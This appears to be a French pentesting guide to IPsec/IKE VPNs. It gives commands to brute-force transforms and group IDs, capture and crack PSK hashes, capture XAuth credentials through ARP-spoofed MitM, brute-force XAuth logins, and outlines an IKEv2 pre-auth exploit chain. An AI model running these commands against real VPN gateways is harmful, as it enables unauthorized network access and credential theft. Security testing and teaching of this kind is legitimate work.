500/udp - Pentesting IPsec/IKE VPN

Reading time: 17 minutes

Informations de base

IPsec est largement reconnu comme la technologie principale pour sécuriser les communications entre réseaux (LAN-à-LAN) et des utilisateurs distants vers la passerelle du réseau (accès distant), servant de colonne vertébrale aux solutions VPN d'entreprise.

L'établissement d'une association de sécurité (SA) entre deux points est géré par IKE, qui fonctionne sous l'égide d'ISAKMP, un protocole conçu pour l'authentification et l'échange de clés. Ce processus se déroule en plusieurs phases :

• Phase 1 : Un canal sécurisé est créé entre deux points de terminaison. Cela se réalise par l'utilisation d'une Pre-Shared Key (PSK) ou de certificats, en employant soit main mode, qui implique trois paires de messages, soit aggressive mode.
• Phase 1.5 : Bien que non obligatoire, cette phase, connue sous le nom de Phase d'authentification étendue (Extended Authentication Phase), vérifie l'identité de l'utilisateur tentant de se connecter en exigeant un nom d'utilisateur et un mot de passe.
• Phase 2 : Cette phase est dédiée à la négociation des paramètres pour sécuriser les données avec ESP et AH. Elle permet l'utilisation d'algorithmes différents de ceux de la Phase 1 pour garantir la Perfect Forward Secrecy (PFS), renforçant la sécurité.

Port par défaut : 500/udp

Également couramment exposé : 4500/udp (NAT Traversal)

Découvrez le service en utilisant nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Trouver une transformation valide

La configuration IPSec peut être préparée pour n'accepter qu'une ou quelques transformations. Une transformation est une combinaison de valeurs. Chaque transform contient un certain nombre d'attributs comme DES ou 3DES comme algorithme de chiffrement, SHA ou MD5 comme algorithme d'intégrité, un pre-shared key comme type d'authentification, Diffie-Hellman 1 ou 2 comme algorithme de distribution de clés et 28800 seconds comme durée de vie.

Donc, la première chose que vous devez faire est de trouver une transformation valide, pour que le serveur accepte de communiquer avec vous. Pour ce faire, vous pouvez utiliser l'outil ike-scan. Par défaut, Ike-scan fonctionne en main mode, et envoie un paquet à la passerelle avec un en-tête ISAKMP et une seule proposal contenant huit transforms à l'intérieur.

Selon la réponse, vous pouvez obtenir quelques informations sur l'endpoint :

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Comme vous pouvez le voir dans la réponse précédente, il y a un champ appelé AUTH avec la valeur PSK. Cela signifie que le VPN est configuré en utilisant une preshared key (et c'est vraiment bien pour un pentester).
La valeur de la dernière ligne est aussi très importante :

• 0 returned handshake; 0 returned notify: Cela signifie que la cible n'est pas une passerelle IPsec.
• 1 returned handshake; 0 returned notify: Cela signifie que la cible est configurée pour IPsec et est disposée à effectuer une négociation IKE, et qu'une ou plusieurs des transforms que vous avez proposées sont acceptables (une transform valide sera affichée dans la sortie).
• 0 returned handshake; 1 returned notify: Les passerelles VPN répondent avec un message notify lorsque aucune des transforms n'est acceptable (bien que certaines passerelles ne le fassent pas, auquel cas une analyse plus poussée et une proposition révisée doivent être essayées).

Dans ce cas nous avons déjà une transformation valide, mais si vous êtes dans le 3e cas, vous devez alors brute-force un peu pour trouver une transformation valide :

Tout d'abord, vous devez créer toutes les transformations possibles :

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Puis brute-forcez chacun d'eux en utilisant ike-scan (cela peut prendre plusieurs minutes) :

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Si le brute-force n'a pas fonctionné, il se peut que le serveur réponde sans handshakes même aux transforms valides. Dans ce cas, vous pouvez essayer le même brute-force mais en utilisant aggressive mode :

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Espérons qu'une transformation valide soit renvoyée.
Vous pouvez essayer la same attack en utilisant iker.py.
Vous pouvez aussi essayer de brute force transformations avec ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

In DH Group: 14 = 2048-bit MODP and 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in this case). The --trans format is $Enc,$Hash,$Auth,$DH

Cisco indique d'éviter d'utiliser les DH groups 1 et 2 car ils ne sont pas assez robustes. Les experts estiment que des pays disposant de beaucoup de ressources peuvent facilement casser le chiffrement des données qui utilisent ces groupes faibles. Cela se fait en utilisant une méthode spéciale qui les prépare à décrypter rapidement. Même si la mise en place de cette méthode coûte très cher, elle permet à ces pays puissants de lire les données chiffrées en temps réel si elles utilisent un groupe peu robuste (comme 1,024-bit ou moins).

Empreinte du serveur

Ensuite, vous pouvez utiliser ike-scan pour tenter de découvrir le fabricant de l'appareil. L'outil envoie une proposition initiale et arrête le replay. Ensuite, il analysera la différence de temps entre les messages reçus du serveur et le modèle de réponse correspondant ; le pentester peut ainsi identifier avec succès le fabricant de la passerelle VPN. De plus, certains serveurs VPN utiliseront le Vendor ID (VID) payload optionnel avec IKE.

Spécifiez la transformation valide si nécessaire (en utilisant --trans)

Si IKE découvre quel est le fabricant, il l'affichera:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Cela peut aussi être réalisé avec nmap script ike-version

IKEv2-specific : WatchGuard Vendor ID version fingerprinting

Certains daemons IKEv2 incluent des payloads Vendor ID non standard dans la réponse IKE_SA_INIT. WatchGuard Fireware OS encode la version/build de l'appliance directement dans le VID, permettant un pre-auth fingerprinting en un seul paquet.

• Transport : UDP/500 (et UDP/4500 pour NAT-T)
• Packet : la réponse IKE_SA_INIT contient un ou plusieurs payloads Vendor ID
• WatchGuard format : hash de 32 octets suivi d'un base64 qui décode par ex. VN=12.11.3 BN=719894

Example raw bytes from a WatchGuard VID payload (last 12 bytes are base64):

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

Extraction rapide dans un shell lorsque vous avez le suffixe base64:

echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

Remarques

• Ceci ne fait pas partie d'un quelconque IKEv2 RFC. Considérez-le comme une particularité du fournisseur pour l'identification rapide des versions de Fireware OS exposées/vulnérables.
• Vous n'avez besoin que de déclencher une réponse IKE_SA_INIT ; aucune authentification n'est requise.

Trouver l'ID correct (nom de groupe)

Pour pouvoir capturer le hash vous avez besoin d'une transformation valide prenant en charge Aggressive mode et de l'ID correct (nom de groupe). Vous ne connaîtrez probablement pas le nom de groupe valide, vous devrez donc le brute-force.\ Pour ce faire, je vous recommande deux méthodes :

Bruteforcing ID with ike-scan

Tout d'abord, essayez d'effectuer une requête avec un ID factice pour tenter de recueillir le hash ("-P"):

ike-scan -P -M -A -n fakeID <IP>

Si aucun hash n'est renvoyé, alors probablement cette méthode de brute forcing fonctionnera. Si un hash est renvoyé, cela signifie qu'un faux hash va être renvoyé pour un faux ID, donc cette méthode ne sera pas fiable pour brute-force l'ID. Par exemple, un faux hash pourrait être renvoyé (cela arrive dans les versions récentes) :

Mais comme je l'ai dit, si aucun hash n'est renvoyé, vous devriez essayer de brute-force les noms de groupe courants en utilisant ike-scan.

Ce script va essayer de brute-force les ID possibles et renverra les ID pour lesquels un handshake valide est obtenu (ce sera un nom de groupe valide).

Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ike-scan. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour toutes les essayer (vous devriez toutes les essayer jusqu'à ce qu'une fonctionne correctement).

Vous pouvez utiliser le dictionary of ikeforce ou the one in seclists des noms de groupe courants pour les brute-force :

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (is a combination of the other 2 dicts without repetitions):

Bruteforcer l'ID avec Iker

iker.py also uses ike-scan to bruteforce possible group names. It follows it's own method to find a valid ID based on the output of ike-scan.

Bruteforcer l'ID avec ikeforce

ikeforce.py is a tool that can be used to brute force IDs also. This tool will try to exploit different vulnerabilities that could be used to distinguish between a valid and a non-valid ID (could have false positives and false negatives, that is why I prefer to use the ike-scan method if possible).

By default ikeforce will send at the beginning some random ids to check the behaviour of the server and determinate the tactic to use.

• La première méthode consiste à brute-forcer les noms de groupe en recherchant l'information Dead Peer Detection DPD des systèmes Cisco (cette info n'est renvoyée par le serveur que si le nom de groupe est correct).
• La deuxième méthode disponible consiste à vérifier le nombre de réponses envoyées pour chaque essai car parfois davantage de paquets sont envoyés lorsque l'ID correct est utilisé.
• La troisième méthode consiste à rechercher "INVALID-ID-INFORMATION" en réponse à un ID incorrect.
• Enfin, si le serveur ne répond rien aux vérifications, ikeforce essaiera de brute-forcer le serveur et vérifiera si, lorsque l'ID correct est envoyé, le serveur répond avec un paquet.\

Évidemment, l'objectif du brute forcing de l'ID est d'obtenir la PSK lorsque vous avez un ID valide. Ensuite, avec l'ID et la PSK, vous devrez brute-forcer le XAUTH (si il est activé).

Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ikeforce. Et si vous en avez découvert plusieurs, n'hésitez pas à ajouter une nouvelle boucle pour toutes les essayer (vous devriez toutes les tester jusqu'à ce que l'une d'elles fonctionne correctement).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library

./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(From the book Network Security Assessment: Know Your Network): Il est également possible d'obtenir des noms d'utilisateur valides en effectuant du sniffing sur la connexion entre le client VPN et le serveur, car le premier paquet en aggressive mode contenant le client ID est envoyé en clair

Capturing & cracking the hash

Enfin, si vous avez trouvé une valid transformation et le group name, et si le aggressive mode est autorisé, alors vous pouvez très facilement récupérer le crackable hash :

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Le hash sera enregistré dans hash.txt.

Vous pouvez utiliser psk-crack, john (en utilisant ikescan2john.py) et hashcat pour crack le hash:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE combiné avec une Pre-Shared Key (PSK) est couramment employé pour l'authentification de groupe. Cette méthode est augmentée par XAuth (Extended Authentication), qui ajoute une couche supplémentaire d'authentification utilisateur. Cette authentification s'appuie généralement sur des services tels que Microsoft Active Directory, RADIUS, ou des systèmes comparables.

Avec IKEv2, on observe un changement notable : EAP (Extensible Authentication Protocol) est utilisé à la place de XAuth pour l'authentification des utilisateurs. Ce changement illustre une évolution des pratiques d'authentification au sein des protocoles de communication sécurisée.

MitM sur le réseau local pour capturer les identifiants

Ainsi, vous pouvez capturer les données de connexion en utilisant fiked et vérifier s'il existe un nom d'utilisateur par défaut (vous devez rediriger le trafic IKE vers fiked pour le sniffing, ce qui peut être fait à l'aide d'ARP spoofing, more info). Fiked agira comme un VPN endpoint et capturera les identifiants XAuth :

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Aussi, en utilisant IPSec, essayez d'effectuer une attaque MitM et bloquez tout le trafic vers le port 500 ; si le tunnel IPSec ne peut pas être établi, il se peut que le trafic soit envoyé en clair.

Brute-forcing XAUTH username et password avec ikeforce

Pour brute force l'XAUTH (lorsque vous connaissez un nom de groupe valide id et le psk), vous pouvez utiliser un username ou une liste de usernames et une liste de passwords :

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

De cette façon, ikeforce tentera de se connecter en essayant chaque combinaison username:password.

Si vous avez trouvé un ou plusieurs transforms valides, utilisez-les comme dans les étapes précédentes.

Authentification avec un IPSEC VPN

Dans Kali, VPNC est utilisé pour établir des tunnels IPsec. Les profils doivent se trouver dans le répertoire /etc/vpnc/. Vous pouvez lancer ces profils en utilisant la commande vpnc.

Les commandes et configurations suivantes illustrent le processus de configuration d'une connexion VPN avec VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

Dans cette configuration :

• Remplacez [VPN_GATEWAY_IP] par l'adresse IP réelle de la passerelle VPN.
• Remplacez [VPN_CONNECTION_ID] par l'identifiant de la connexion VPN.
• Remplacez [VPN_GROUP_SECRET] par le group secret du VPN.
• Remplacez [VPN_USERNAME] et [VPN_PASSWORD] par les identifiants d'authentification VPN.
• [PID] symbolise l'ID de processus qui sera assigné lorsque vpnc démarrera.

Assurez-vous d'utiliser des valeurs réelles et sécurisées pour remplacer les espaces réservés lors de la configuration du VPN.

IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs

Les appliances VPN modernes exposent souvent IKEv2 sur UDP/500 (et UDP/4500 pour NAT-T). Une surface d'attaque courante avant authentification est le parsing des payloads Identification (IDi) et Certificate pendant IKE_SA_AUTH.

Flux d'exploitation de haut niveau lorsqu'un parser IKEv2 vulnérable existe :

• Envoyer un IKE_SA_INIT valide pour négocier les transforms et compléter Diffie–Hellman.
• Suivre avec IKE_SA_AUTH transportant un IDi qui déclenche le bug (par ex., une Identification surdimensionnée copiée dans un buffer stack de taille fixe avant la validation du certificat).
• La corruption mémoire résultante peut permettre le contrôle des registres sauvegardés et de l'adresse de retour.
• Avec NX activé mais d'autres mitigations manquantes (pas de PIE/canaries), construire une chaîne ROP pour appeler mprotect sur une page de stack puis pivoter l'exécution vers du shellcode injecté ou vers un interpréteur résident (par ex., /usr/bin/python3) si /bin/sh n'est pas disponible.

Exemple de transforms par défaut observés sur certaines appliances IKEv2 (WatchGuard Fireware OS 12.11.3) :

• SHA2-256–AES(256-bit) with DH Group 14
• SHA1–AES(256-bit) with DH Group 5
• SHA1–AES(256-bit) with DH Group 2
• SHA1–3DES with DH Group 2

Conseils pratiques

• Ciblez à la fois UDP/500 et UDP/4500 ; les serveurs NAT-T peuvent ne répondre que sur 4500.
• Augmentez la taille du buffer de réception et les timeouts pour les scanners basés sur UDP afin d'éviter la perte de paquets.
• Si le service expose des Vendor IDs personnalisés (voir section ci‑dessus), utilisez-les pour fingerprinter rapidement les versions vulnérables avant d'envoyer tout trafic d'exploitation.

Reference Material

• PSK cracking paper
• SecurityFocus Infocus
• Scanning a VPN Implementation
• Network Security Assessment 3rd Edition

Shodan

• port:500 IKE
• port:4500 "UDP"
• udp port:500,4500 "WatchGuard"

References

• YIKES: WatchGuard Fireware OS IKEv2 out-of-bounds write (CVE-2025-9242)